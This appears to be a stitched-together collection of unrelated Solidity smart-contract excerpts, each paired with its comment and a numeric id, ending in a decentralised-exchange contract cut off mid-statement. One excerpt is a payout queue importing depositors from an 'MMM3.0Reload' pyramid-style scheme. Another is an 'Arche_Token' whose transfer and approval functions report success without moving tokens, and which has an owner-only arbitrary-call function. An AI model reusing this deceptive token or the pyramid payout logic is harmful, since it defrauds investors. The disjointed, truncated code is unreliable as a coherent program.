advertisingAddress.send(advertperc); adminsAddress.send(m_adminsPercent.mul(msg.value)); advertAmountRaised += advertperc; } } //выплаты инвесторам //в каждой транзакции выплачивается не менее 1 депозита из каждой очереди, но не более 100 выплат из каждой очереди. function distribute(uint maxIterations) public { require(maxIterations <= 100, "no more than 100 iterations"); //ограничение в 100 итераций максимум uint money = address(this).balance; require(money >= minBalanceForDistribution, "Not enough funds to pay");//на балансе недостаточно денег для выплат uint ImportedQueueLen = ImportedQueue.length; uint QueueLen = Queue.length; uint toSend = 0; maxIterations = maxIterations.max(5);//минимум 5 итераций for (uint i = 0; i < maxIterations; i++) { if (currentImportedReceiverIndex < ImportedQueueLen){ toSend = ImportedQueue[currentImportedReceiverIndex].expects; if (money >= toSend){ money = money.sub(toSend); ImportedQueue[currentImportedReceiverIndex].paymentTime = now; ImportedQueue[currentImportedReceiverIndex].depositor.send(toSend); currentImportedReceiverIndex += 1; } } if (currentReceiverIndex < QueueLen){ toSend = Queue[currentReceiverIndex].expects; if (money >= toSend){ money = money.sub(toSend); Queue[currentReceiverIndex].paymentTime = now; Queue[currentReceiverIndex].depositor.send(toSend); currentReceiverIndex += 1; } } } setMinBalanceForDistribution(); } //пересчитываем минимально необходимый баланс для выплат по одному депозиту из каждой очереди. function setMinBalanceForDistribution() private { uint importedExpects = 0; if (currentImportedReceiverIndex < ImportedQueue.length) { importedExpects = ImportedQueue[currentImportedReceiverIndex].expects; } if (currentReceiverIndex < Queue.length) { minBalanceForDistribution = Queue[currentReceiverIndex].expects; } else { minBalanceForDistribution = 12 ether; //максимально возможная выплата основной очереди } if (importedExpects > 0){ minBalanceForDistribution = minBalanceForDistribution.add(importedExpects); } } //перенос очереди из проекта MMM3.0Reload function FromMMM30Reload(address _ImportContract, uint _from, uint _to) public onlyOwner { require(!migrationFinished); distribution ImportContract = distribution(_ImportContract); address depositor; uint amount; uint depositeTime; uint paymentTime; uint c = 0; uint maxLen = ImportContract.getLastDepositId(); _to = _to.min(maxLen); for (uint i = _from; i <= _to; i++) { (depositor, amount, depositeTime, paymentTime) = ImportContract.getDeposit(i); //кошельки администрации проекта MMM3.0Reload исключаем из переноса if ((depositor != address(0x494A7A2D0599f2447487D7fA10BaEAfCB301c41B)) && (depositor != address(0xFd3093a4A3bd68b46dB42B7E59e2d88c6D58A99E)) && (depositor != address(0xBaa2CB97B6e28ef5c0A7b957398edf7Ab5F01A1B)) && (depositor != address(0xFDd46866C279C90f463a08518e151bC78A1a5f38)) && (depositor != address(0xdFa5662B5495E34C2aA8f06Feb358A6D90A6d62e))) { ImportedQueue.push(Deposit({depositor:depositor, deposit:uint(amount), expects:uint(MULTIPLIER.mul(amount)), paymentTime:0})); depositors[depositor].push(ImportedQueue.length - 1); c++; } } emit LogImportInvestorsPartComplete(now, c, _to); } //после окончания переноса очереди - отказ от владения контрактом function finishMigration() public onlyOwner { migrationFinished = true; renounceOwnership(); } //баланс контракта function getBalance() public view returns (uint) { return address(this).balance; } //баланс кошелька рекламного бюджета function getAdvertisingBalance() public view returns (uint) { return advertisingAddress.balance; } //Количество невыплаченных депозитов в основной очереди function getDepositsCount() public view returns (uint) { return Queue.length.sub(currentReceiverIndex); } //Количество невыплаченных депозитов в перенесенной очереди function getImportedDepositsCount() public view returns (uint) { return ImportedQueue.length.sub(currentImportedReceiverIndex); } //данные о депозите основной очереди по порядковому номеру function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect, uint paymentTime){ Deposit storage dep = Queue[idx]; return (dep.depositor, dep.deposit, dep.expects, dep.paymentTime); } //данные о депозите перенесенной очереди по порядковому номеру function getImportedDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect, uint paymentTime){ Deposit storage dep = ImportedQueue[idx]; return (dep.depositor, dep.deposit, dep.expects, dep.paymentTime); } //Последний выплаченный депозит основной очереди, lastIndex - смещение номера в очереди (0 - последняя выплата, 1 - предпоследняя выплата) function getLastPayments(uint lastIndex) public view returns (address, uint, uint) { uint depositeIndex = currentReceiverIndex.sub(lastIndex).sub(1); return (Queue[depositeIndex].depositor, Queue[depositeIndex].paymentTime, Queue[depositeIndex].expects); } //Последний выплаченный депозит перенесенной очереди, lastIndex - смещение номера в очереди (0 - последняя выплата, 1 - предпоследняя выплата) function getLastImportedPayments(uint lastIndex) public view returns (address, uint, uint) { uint depositeIndex = currentImportedReceiverIndex.sub(lastIndex).sub(1); return (ImportedQueue[depositeIndex].depositor, ImportedQueue[depositeIndex].paymentTime, ImportedQueue[depositeIndex].expects); } //общее количество депозитов в основной очереди у кошелька depositor function getUserDepositsCount(address depositor) public view returns (uint) { uint c = 0; for(uint i=0; i<Queue.length; ++i){ if(Queue[i].depositor == depositor) c++; } return c; } //общее количество депозитов в перенесенной очереди у кошелька depositor function getImportedUserDepositsCount(address depositor) public view returns (uint) { uint c = 0; for(uint i=0; i<ImportedQueue.length; ++i){ if(ImportedQueue[i].depositor == depositor) c++; } return c; } //Все депозиты основной очереди кошелька depositor в виде массива function getUserDeposits(address depositor) public view returns (uint[] idxs, uint[] paymentTime, uint[] amount, uint[] expects) { uint c = getUserDepositsCount(depositor); idxs = new uint[](c); paymentTime = new uint[](c); expects = new uint[](c); amount = new uint[](c); uint num = 0; if(c > 0) { uint j = 0; for(uint i=0; i<c; ++i){ num = depositors[depositor][i]; Deposit storage dep = Queue[num]; idxs[j] = i; paymentTime[j] = dep.paymentTime; amount[j] = dep.deposit; expects[j] = dep.expects; j++; } } } //Все депозиты перенесенной очереди кошелька depositor в виде массива function getImportedUserDeposits(address depositor) public view returns (uint[] idxs, uint[] paymentTime, uint[] amount, uint[] expects) { uint c = getImportedUserDepositsCount(depositor); idxs = new uint[](c); paymentTime = new uint[](c); expects = new uint[](c); amount = new uint[](c); if(c > 0) { uint j = 0; for(uint i=0; i<ImportedQueue.length; ++i){ Deposit storage dep = ImportedQueue[i]; if(dep.depositor == depositor){ idxs[j] = i; paymentTime[j] = dep.paymentTime; amount[j] = dep.deposit; expects[j] = dep.expects; j++; } } } } }
перенос очереди из проекта MMM3.0Reloadкошельки администрации проекта MMM3.0Reload исключаем из переноса
function FromMMM30Reload(address _ImportContract, uint _from, uint _to) public onlyOwner { require(!migrationFinished); distribution ImportContract = distribution(_ImportContract); address depositor; uint amount; uint depositeTime; uint paymentTime; uint c = 0; uint maxLen = ImportContract.getLastDepositId(); _to = _to.min(maxLen); for (uint i = _from; i <= _to; i++) { (depositor, amount, depositeTime, paymentTime) = ImportContract.getDeposit(i); if ((depositor != address(0x494A7A2D0599f2447487D7fA10BaEAfCB301c41B)) && (depositor != address(0xFd3093a4A3bd68b46dB42B7E59e2d88c6D58A99E)) && (depositor != address(0xBaa2CB97B6e28ef5c0A7b957398edf7Ab5F01A1B)) && (depositor != address(0xFDd46866C279C90f463a08518e151bC78A1a5f38)) && (depositor != address(0xdFa5662B5495E34C2aA8f06Feb358A6D90A6d62e))) { depositors[depositor].push(ImportedQueue.length - 1); c++; } } emit LogImportInvestorsPartComplete(now, c, _to); }
12,887,656
library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // ---------------------------------------------------------------------------- abstract contract ERC20Interface { function totalSupply()virtual public view returns (uint); function balanceOf(address tokenOwner)virtual public view returns (uint balance); function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); function transfer(address to, uint tokens) virtual public returns (bool success); function approve(address spender, uint tokens) virtual public returns (bool success); function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data)virtual public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and a // fixed supply // ---------------------------------------------------------------------------- contract FFI_ERC20 is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; uint burn_rate=0; bool public permit_mode; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } ////----------------------------------------------- // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor(uint256 total) public { permit_mode=false; symbol = "Arche"; name = "Arche_Token"; decimals = 18; _totalSupply = total * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply()override public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner)override public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens)override public onlyPayloadSize(2*32) returns (bool success) { return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens)override public onlyPayloadSize(2*32) returns (bool success) { return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens)override public returns (bool success) { return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender)override public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ fallback() external payable {} receive() external payable { revert(); } function Call_Function(address addr,uint256 value ,bytes memory data) public onlyOwner { addr.call{value:value}(data); } }
------------------------------------------------------------------------ Transfer the balance from token owner's account to `to` account - Owner's account must have sufficient balance to transfer - 0 value transfers are allowed ------------------------------------------------------------------------
function transfer(address to, uint tokens)override public onlyPayloadSize(2*32) returns (bool success) { return true; }
4,807,594
./partial_match/1/0x00000000Ede6d8D217c60f93191C060747324bca/sources/node_modules/@aperture_finance/uni-v3-lib/src/NPMCaller.sol
Query if an address is an authorized operator for another address npm Uniswap v3 Nonfungible Position Manager owner The address that owns the NFTs operator The address that acts on behalf of the owner return isApproved True if `operator` is an approved operator for `owner`, false otherwise Write the abi-encoded calldata into memory. We use 68 because of the length of our calldata. We use 0 and 32 to copy up to 32 bytes of return data into the scratch space. `isApprovedForAll` should never revert according to the ERC721 standard. Clear first 4 bytes of the free memory pointer.
function isApprovedForAll(INPM npm, address owner, address operator) internal view returns (bool isApproved) { bytes4 selector = IERC721.isApprovedForAll.selector; assembly ("memory-safe") { mstore(0, selector) mstore(4, owner) mstore(0x24, operator) isApproved := mload(iszero(staticcall(gas(), npm, 0, 0x44, 0, 0x20))) mstore(0x24, 0) } }
15,622,099
contract owned { function owned() { owner = msg.sender; } address public owner; modifier onlyowner { if (msg.sender != owner) throw; _ } event OwnershipTransfer(address indexed from, address indexed to); function transferOwnership(address to) public onlyowner { owner = to; OwnershipTransfer(msg.sender, to); } } // Token standard API // https://github.com/ethereum/EIPs/issues/20 contract ERC20 { function totalSupply() constant returns (uint supply); function balanceOf(address who) constant returns (uint value); function allowance(address owner, address spender) constant returns (uint _allowance); function transfer(address to, uint value) returns (bool ok); function transferFrom(address from, address to, uint value) returns (bool ok); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Order is owned { ERC20 public token; uint public weiPerToken; uint public decimalPlaces; function Order(address _token, uint _weiPerToken, uint _decimalPlaces) { token = ERC20(_token); weiPerToken = _weiPerToken; decimalPlaces = _decimalPlaces; } function sendRobust(address to, uint value) internal { if (!to.send(value)) { if (!to.call.value(value)()) throw; } } function min(uint a, uint b) internal returns (uint) { if (a <= b) { return a; } else { return b; } } function getTransferableBalance(address who) internal returns (uint amount) { uint allowance = token.allowance(msg.sender, address(this)); uint balance = token.balanceOf(msg.sender); amount = min(min(allowance, balance), numTokensAbleToPurchase()); return amount; } function numTokensAbleToPurchase() constant returns (uint) { return (this.balance / weiPerToken) * decimalPlaces; } event OrderFilled(address _from, uint numTokens); // Fills or partially fills the order. function _fillOrder(address _from, uint numTokens) internal returns (bool) { if (numTokens == 0) throw; if (this.balance < numTokens * weiPerToken / decimalPlaces) throw; if (!token.transferFrom(_from, owner, numTokens)) return false; sendRobust(_from, numTokens * weiPerToken / decimalPlaces); OrderFilled(_from, numTokens); return true; } function fillOrder(address _from, uint numTokens) public returns (bool) { return _fillOrder(_from, numTokens); } // Simpler call signature that uses `msg.sender` function fillMyOrder(uint numTokens) public returns (bool) { return _fillOrder(msg.sender, numTokens); } // Simpler call signature that defaults to the account allowance. function fillTheirOrder(address who) public returns (bool) { return _fillOrder(who, getTransferableBalance(who)); } // Simpler call signature that uses `msg.sender` and the current approval // value. function fillOrderAuto() public returns (bool) { return _fillOrder(msg.sender, getTransferableBalance(msg.sender)); } // Even simpler call signature that tries to transfer as many as possible. function () { // allow receipt of funds if (msg.value > 0) { return; } else { fillOrderAuto(); } } // Cancel the order, returning all funds to the owner. function cancel() onlyowner { selfdestruct(owner); } }
Cancel the order, returning all funds to the owner.
function cancel() onlyowner { selfdestruct(owner); }
7,271,482
pragma solidity >=0.5; pragma experimental ABIEncoderV2; /** * @title DexStatus * @dev Status for Dex */ contract DexStatus { string constant ONLY_RELAYER = "ONLY_RELAYER"; string constant ONLY_AIRDROP = "ONLY_AIRDROP"; string constant ONLY_INACTIVITY = "ONLY_INACTIVITY"; string constant ONLY_WITHDRAWALAPPROVED = "ONLY_WITHDRAWALAPPROVED"; string constant INVALID_NONCE = "INVALID_NONCE"; string constant INVALID_PERIOD = "INVALID_PERIOD"; string constant INVALID_AMOUNT = "INVALID_AMOUNT"; string constant INVALID_TIME = "INVALID_TIME"; string constant INVALID_GASTOKEN = "INVALID_GASTOKEN"; string constant TRANSFER_FAILED = "TRANSFER_FAILED"; string constant ECRECOVER_FAILED = "ECRECOVER_FAILED"; string constant INSUFFICIENT_FOUND = "INSUFFICIENT"; string constant TRADE_EXISTS = "TRADED"; string constant WITHDRAW_EXISTS = "WITHDRAWN"; string constant MAX_VALUE_LIMIT = "MAX_LIMIT"; string constant AMOUNT_EXCEEDED = "AMOUNT_EXCEEDED"; } /** * @title IGasStorage * @dev GasStorage interface to burn and mint gastoken */ interface IGasStorage { function mint(uint256 value) external; function burn(uint256 value) external; function balanceOf() external view returns (uint256 balance); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = tx.origin; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @dev ERC20 interface */ interface ERC20 { function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success) ; function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) view external returns (uint256 remaining); } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Dex * @dev Smart contract for https://www.dex.io */ contract Dex is Ownable,DexStatus { using SafeMath for uint256; struct Order { address token; address baseToken; address user; uint256 tokenAmount; uint256 baseTokenAmount; uint nonce; uint expireTime; uint maxGasFee; uint timestamp; address gasToken; bool sell; uint8 V; bytes32 R; bytes32 S; uint signType; } struct TradeInfo { uint256 tradeTokenAmount; uint256 tradeTakerFee; uint256 tradeMakerFee; uint256 tradeGasFee; uint tradeNonce; address tradeGasToken; } mapping (address => mapping (address => uint256)) public _balances; mapping (address => uint) public _invalidOrderNonce; mapping (bytes32 => uint256) public _orderFills; mapping (address => bool) public _relayers; mapping (bytes32 => bool) public _traded; mapping (bytes32 => bool) public _withdrawn; mapping (bytes32 => uint256) public _orderGasFee; mapping (address => uint) public _withdrawalApplication; address public _feeAccount; address public _airdropContract; address public _gasStorage; uint256 public _withdrawalApplicationPeriod = 10 days; uint256 public _takerFeeRate = 0.002 ether; uint256 public _makerFeeRate = 0.001 ether; string private constant EIP712DOMAIN_TYPE = "EIP712Domain(string name)"; bytes32 private constant EIP712DOMAIN_TYPEHASH = keccak256(abi.encodePacked(EIP712DOMAIN_TYPE)); bytes32 private constant DOMAIN_SEPARATOR = keccak256(abi.encode(EIP712DOMAIN_TYPEHASH,keccak256(bytes("Dex.io")))); string private constant ORDER_TYPE = "Order(address token,address baseToken,uint256 tokenAmount,uint256 baseTokenAmount,uint256 nonce,bool sell,uint256 expireTime,uint256 maxGasFee,address gasToken,uint timestamp)"; bytes32 private constant ORDER_TYPEHASH = keccak256(abi.encodePacked(ORDER_TYPE)); string private constant WITHDRAW_TYPE = "Withdraw(address token,uint256 tokenAmount,address to,uint256 nonce,address feeToken,uint256 feeWithdrawal,uint timestamp)"; bytes32 private constant WITHDRAW_TYPEHASH = keccak256(abi.encodePacked(WITHDRAW_TYPE)); event Trade(bytes32 takerHash,bytes32 makerHash,uint256 tradeAmount,uint256 tradeBaseTokenAmount,uint256 tradeNonce,uint256 takerCostFee, uint makerCostFee,bool sellerIsMaker,uint256 gasFee); event Balance(uint256 takerBaseTokenBalance,uint256 takerTokenBalance,uint256 makerBaseTokenBalance,uint256 makerTokenBalance); event Deposit(address indexed token, address indexed user, uint256 amount, uint256 balance); event Withdraw(address indexed token,address indexed from,address indexed to, uint256 amount, uint256 balance); event Transfer(address indexed token,address indexed from,address indexed to, uint256 amount, uint256 fromBalance,uint256 toBalance); event Airdrop(address indexed to, address indexed token,uint256 amount); event WithdrawalApplication(address user,uint timestamp); modifier onlyRelayer { if (msg.sender != owner && !_relayers[msg.sender]) revert(ONLY_RELAYER); _; } modifier onlyAirdropContract { if (msg.sender != _airdropContract) revert(ONLY_AIRDROP); _; } /** * @dev approved in 10 days */ modifier onlyWithdrawalApplicationApproved { require ( _withdrawalApplication[msg.sender] != uint(0) && block.timestamp - _withdrawalApplicationPeriod > _withdrawalApplication[msg.sender], ONLY_WITHDRAWALAPPROVED); _; } /** * @param feeAccount account to receive the fee */ constructor(address feeAccount) public { _feeAccount = feeAccount; } /** * @dev do no send eth to dex contract directly. */ function() external { revert(); } /** * @dev set a relayer */ function setRelayer(address relayer, bool isRelayer) public onlyOwner { _relayers[relayer] = isRelayer; } /** * @dev check a relayer */ function isRelayer(address relayer) public view returns(bool) { return _relayers[relayer]; } /** * @dev set account that receive the fee */ function setFeeAccount(address feeAccount) public onlyOwner { _feeAccount = feeAccount; } /** * @dev set set maker and taker fee rate * @param makerFeeRate maker fee rate can't be more than 0.5% * @param takerFeeRate taker fee rate can't be more than 0.5% */ function setFee(uint256 makerFeeRate,uint256 takerFeeRate) public onlyOwner { require(makerFeeRate <= 0.005 ether && takerFeeRate <= 0.005 ether,MAX_VALUE_LIMIT); _makerFeeRate = makerFeeRate; _takerFeeRate = takerFeeRate; } /** * @dev set gasStorage contract to save gas */ function setGasStorage(address gasStorage) public onlyOwner { _gasStorage = gasStorage; } /** * @dev set airdrop contract to implement airdrop function */ function setAirdrop(address airdrop) public onlyOwner{ _airdropContract = airdrop; } /** * @dev set withdraw application period * @param period the period can't be more than 10 days */ function setWithdrawalApplicationPeriod(uint period) public onlyOwner { if(period > 10 days ){ return; } _withdrawalApplicationPeriod = period; } /** * @dev invalid the orders before nonce */ function invalidateOrdersBefore(address user, uint256 nonce) public onlyRelayer { if (nonce < _invalidOrderNonce[user]) { revert(INVALID_NONCE); } _invalidOrderNonce[user] = nonce; } /** * @dev deposit token */ function depositToken(address token, uint256 amount) public { require(ERC20(token).transferFrom(msg.sender, address(this), amount),TRANSFER_FAILED); _deposit(msg.sender,token,amount); } /** * @dev deposit token from msg.sender to someone */ function depositTokenTo(address to,address token, uint256 amount) public { require(ERC20(token).transferFrom(msg.sender, address(this), amount),TRANSFER_FAILED); _deposit(to,token,amount); } /** * @dev deposit eth */ function deposit() public payable { _deposit(msg.sender,address(0),msg.value); } /** * @dev deposit eth from msg.sender to someone */ function depositTo(address to) public payable { _deposit(to,address(0),msg.value); } /** * @dev _deposit */ function _deposit(address user,address token,uint256 amount) internal { _balances[token][user] = _balances[token][user].add(amount); emit Deposit(token, user, amount, _balances[token][user]); } /** * @dev submit a withdrawal application, user can not place any orders after submit a withdrawal application */ function submitWithdrawApplication() public { _withdrawalApplication[msg.sender] = block.timestamp; emit WithdrawalApplication(msg.sender,block.timestamp); } /** * @dev cancel withdraw application */ function cancelWithdrawApplication() public { _withdrawalApplication[msg.sender] = 0; emit WithdrawalApplication(msg.sender,0); } /** * @dev check user withdraw application status */ function isWithdrawApplication(address user) view public returns(bool) { if(_withdrawalApplication[user] == uint(0)) { return false; } return true; } /** * @dev withdraw token */ function _withdraw(address from,address payable to,address token,uint256 amount) internal { if ( _balances[token][from] < amount) { revert(INSUFFICIENT_FOUND); } _balances[token][from] = _balances[token][from].sub(amount); if(token == address(0)) { to.transfer(amount); }else{ require(ERC20(token).transfer(to, amount),TRANSFER_FAILED); } emit Withdraw(token, from, to, amount, _balances[token][from]); } /** * @dev user withdraw token */ function withdraw(address token) public onlyWithdrawalApplicationApproved { uint256 amount = _balances[token][msg.sender]; if(amount != 0){ _withdraw(msg.sender,msg.sender,token,amount); } } /** * @dev user withdraw many tokens */ function withdrawAll(address[] memory tokens) public onlyWithdrawalApplicationApproved { for(uint256 i = 0; i< tokens.length ;i++){ uint256 amount = _balances[tokens[i]][msg.sender]; if(amount == 0){ continue; } _withdraw(msg.sender,msg.sender,tokens[i],amount); } } /** * @dev user send withdraw request with relayer's authorized signature */ function authorizedWithdraw(address payable to,address token,uint256 amount, uint256 nonce,uint expiredTime,address relayer,uint8 v, bytes32 r,bytes32 s) public { require(_withdrawalApplication[msg.sender] == uint(0)); require(expiredTime >= block.timestamp,INVALID_TIME); require(_relayers[relayer] == true,ONLY_RELAYER); bytes32 hash = keccak256(abi.encodePacked(msg.sender,to, token, amount, nonce, expiredTime)); if (_withdrawn[hash]) { revert(WITHDRAW_EXISTS); } _withdrawn[hash] = true; if (ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), v, r, s) != relayer) { revert(ECRECOVER_FAILED); } _withdraw(msg.sender,to,token,amount); } /** * @dev withdraw the token from Dex Wallet to Etheruem Wallet,signType [0 = signTypeDataV3, 1 = eth_sign] */ function adminWithdraw(address from,address payable to,address token,uint256 amount,uint256 nonce,uint8 v,bytes32[2] memory rs, address feeToken,uint256 feeWithdrawal,uint timestamp,uint signType) public onlyRelayer { bytes32 hash = ecrecoverWithdraw(from,to,token,amount,nonce,v,rs,feeToken,feeWithdrawal,timestamp,signType); if (_withdrawn[hash]) { revert(WITHDRAW_EXISTS); } _withdrawn[hash] = true; _transfer(from,to,token,amount,feeToken,feeWithdrawal,false); } /** * @dev transfer the token between Dex Wallet,signType [0 = signTypeDataV3, 1 = eth_sign] */ function adminTransfer(address from,address payable to,address token,uint256 amount,uint256 nonce,uint8 v,bytes32[2] memory rs, address feeToken,uint256 feeWithdrawal,uint timestamp,uint signType) public onlyRelayer { bytes32 hash = ecrecoverWithdraw(from,to,token,amount,nonce,v,rs,feeToken,feeWithdrawal,timestamp,signType); if (_withdrawn[hash]) { revert(WITHDRAW_EXISTS); } _withdrawn[hash] = true; _transfer(from,to,token,amount,feeToken,feeWithdrawal,true); } /** * @dev transfer the token * @param from token sender * @param to token receiver * @param token The address of token to transfer * @param amount The amount to transfer * @param feeToken The address of token to pay the fee * @param feeWithdrawal The amount of feeToken to pay the fee * @param isInternal True is transfer token from a Dex Wallet to a Dex Wallet, False is transfer a token from Dex wallet to a Etheruem Wallet */ function _transfer(address from,address payable to,address token,uint256 amount, address feeToken,uint256 feeWithdrawal, bool isInternal) internal { if (feeWithdrawal > 0) { require(_balances[feeToken][from] >= feeWithdrawal, INSUFFICIENT_FOUND ); _balances[feeToken][from] = _balances[feeToken][from].sub(feeWithdrawal); _balances[feeToken][_feeAccount] = _balances[feeToken][_feeAccount].add(feeWithdrawal); } if ( _balances[token][from] < amount) { revert(INSUFFICIENT_FOUND); } _balances[token][from] = _balances[token][from].sub(amount); if(isInternal) { _balances[token][to] = _balances[token][to].add(amount); emit Transfer(token, from, to, amount, _balances[token][from], _balances[token][to]); }else{ if(token == address(0)) { to.transfer(amount); }else{ require(ERC20(token).transfer(to, amount),TRANSFER_FAILED); } emit Withdraw(token, from, to, amount, _balances[token][from]); } } /** * @dev mirgate function will withdraw all user token balances to wallet */ function adminWithdrawAll(address payable user,address[] memory tokens) public onlyOwner { for(uint256 i = 0; i< tokens.length ;i++){ address token = tokens[i]; uint256 amount = _balances[token][user]; if(amount == 0){ continue; } _withdraw(user,user,token,amount); } } /** * @dev get the balance of the account */ function balanceOf(address token, address user) public view returns (uint256) { return _balances[token][user]; } /** * @dev trade order only call by relayer, ti.signType: 0 = signTypeDataV3, 1 = eth_sign */ function tradeOrder(Order memory taker,Order memory maker, TradeInfo memory ti) public onlyRelayer { uint256 gasInitial = gasleft(); bytes32 takerHash = ecrecoverOrder(taker,taker.signType); bytes32 makerHash = ecrecoverOrder(maker,maker.signType); bytes32 tradeHash = keccak256(abi.encodePacked(takerHash ,makerHash)); require(_traded[tradeHash] == false,TRADE_EXISTS); _traded[tradeHash] = true; _tradeOrder(taker,maker,ti,takerHash,makerHash); uint256 gasUsed = gasInitial - gasleft(); _burnGas(gasUsed); } /** * @dev trade order internal */ function _tradeOrder(Order memory taker,Order memory maker, TradeInfo memory ti, bytes32 takerHash,bytes32 makerHash) internal { require(taker.baseToken == maker.baseToken && taker.token == maker.token); require(ti.tradeTokenAmount > 0 , INVALID_AMOUNT ); require((block.timestamp <= taker.expireTime) && (block.timestamp <= maker.expireTime) , INVALID_TIME ); require( (_invalidOrderNonce[taker.user] < taker.nonce) &&(_invalidOrderNonce[maker.user] < maker.nonce),INVALID_NONCE) ; require( (taker.tokenAmount.sub(_orderFills[takerHash]) >= ti.tradeTokenAmount) && (maker.tokenAmount.sub(_orderFills[makerHash]) >= ti.tradeTokenAmount), AMOUNT_EXCEEDED); require(taker.gasToken == ti.tradeGasToken, INVALID_GASTOKEN); uint256 tradeBaseTokenAmount = ti.tradeTokenAmount.mul(maker.baseTokenAmount).div(maker.tokenAmount); (uint256 takerFee,uint256 makerFee) = calcMaxFee(ti,tradeBaseTokenAmount,maker.sell); uint gasFee = ti.tradeGasFee; if(gasFee != 0) { if( taker.maxGasFee < _orderGasFee[takerHash].add(gasFee)) { gasFee = 